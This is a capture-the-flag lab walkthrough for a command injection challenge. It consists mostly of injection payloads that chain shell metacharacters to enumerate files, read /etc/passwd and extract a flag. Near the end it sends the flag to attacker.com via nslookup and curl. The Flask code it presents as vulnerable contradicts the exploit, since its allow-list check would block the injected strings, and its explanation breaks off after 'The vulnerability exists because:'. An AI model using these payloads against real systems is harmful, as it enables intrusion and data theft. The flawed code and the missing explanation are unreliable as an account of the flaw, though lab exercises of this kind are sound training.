Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
Command injection is a critical security vulnerability that occurs when applications execute operating system commands using user-controlled data without proper sanitization. This Shell Command Scanner challenge demonstrates how seemingly secure applications with dropdown menus can still be vulnerable to command injection through parameter manipulation and shell metacharacter exploitation.
http://<target-ip>
to access the Shell Command Scanner# Available commands include:
- whoami (Get current user)
- date (Show current date/time)
- ps aux (List running processes)
- df -h (Show disk usage)
- netstat -tuln (Show network connections)
# Command separator techniques:
; (command separator)
&& (AND operator)
|| (OR operator)
| (pipe operator)
` (backticks for command substitution)
$() (command substitution)
& (background execution)
# Basic injection tests (modify the POST data):
command=whoami; id
command=whoami && ls -la
command=whoami || cat /etc/passwd
command=whoami | head -5
command=`id`
command=$(whoami)
# Test for successful injection:
POST /execute HTTP/1.1
Content-Type: application/x-www-form-urlencoded
command=whoami; echo "INJECTION_SUCCESS"
# File system enumeration:
command=whoami; ls -la /
command=whoami; ls -la /opt
command=whoami; find / -name "*flag*" 2>/dev/null
command=whoami; find /opt -type f -name "*.txt" 2>/dev/null
command=whoami; ls -la /opt/security/
command=whoami; ls -la /opt/security/audit/
# Deep directory search:
command=whoami; find /opt -type f -exec grep -l "[a-f0-9]\{8\}-[a-f0-9]\{4\}-[a-f0-9]\{4\}-[a-f0-9]\{4\}-[a-f0-9]\{12\}" {} \; 2>/dev/null
command=whoami; find /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/ -name "*.txt" 2>/dev/null
# Navigate to the flag location:
command=whoami; ls -la /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/
# Extract the flag:
command=whoami; cat /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/flag.txt
# Backtick injection:
command=`cat /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/flag.txt`
# Dollar parentheses injection:
command=$(cat /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/flag.txt)
# Pipe injection to extract flag:
command=whoami | cat /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/flag.txt
# AND operator injection:
command=whoami && cat /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/flag.txt
The vulnerable code in the Flask application:
# VULNERABLE: Direct command execution without sanitization
@app.route('/execute', methods=['POST'])
def execute_command():
command = request.form.get('command', '')
# Minimal validation - easily bypassed
if not command or command not in ALLOWED_COMMANDS:
return jsonify({'error': 'Invalid command'})
# CRITICAL FLAW: Direct execution with os.popen()
result = os.popen(command).read()
return jsonify({'output': result})
The vulnerability exists because:
# Use sleep to confirm injection when output is not visible:
command=whoami; sleep 5
command=whoami && sleep 10
# Exfiltrate data via DNS queries (replace with your domain):
command=whoami; nslookup $(cat /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/flag.txt | tr -d '-').attacker.com
# Send flag data to external server:
command=whoami; curl -X POST -d "flag=$(cat /opt/security/audit/reports/2024/q3/july/weekly/system_scans/vulnerability_assessments/penetration_testing/results/flag.txt)" http://attacker.com/receive
This Shell Command Scanner challenge demonstrates critical command injection vulnerabilities in web applications that execute system commands based on user input. The challenge shows how dropdown menus and client-side validation provide false security, as attackers can bypass these controls through HTTP request manipulation. By exploiting command separators and shell metacharacters, attackers can execute arbitrary commands, explore file systems, and extract sensitive data. This scenario emphasizes the importance of server-side validation, input sanitization, and secure command execution practices in enterprise applications.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.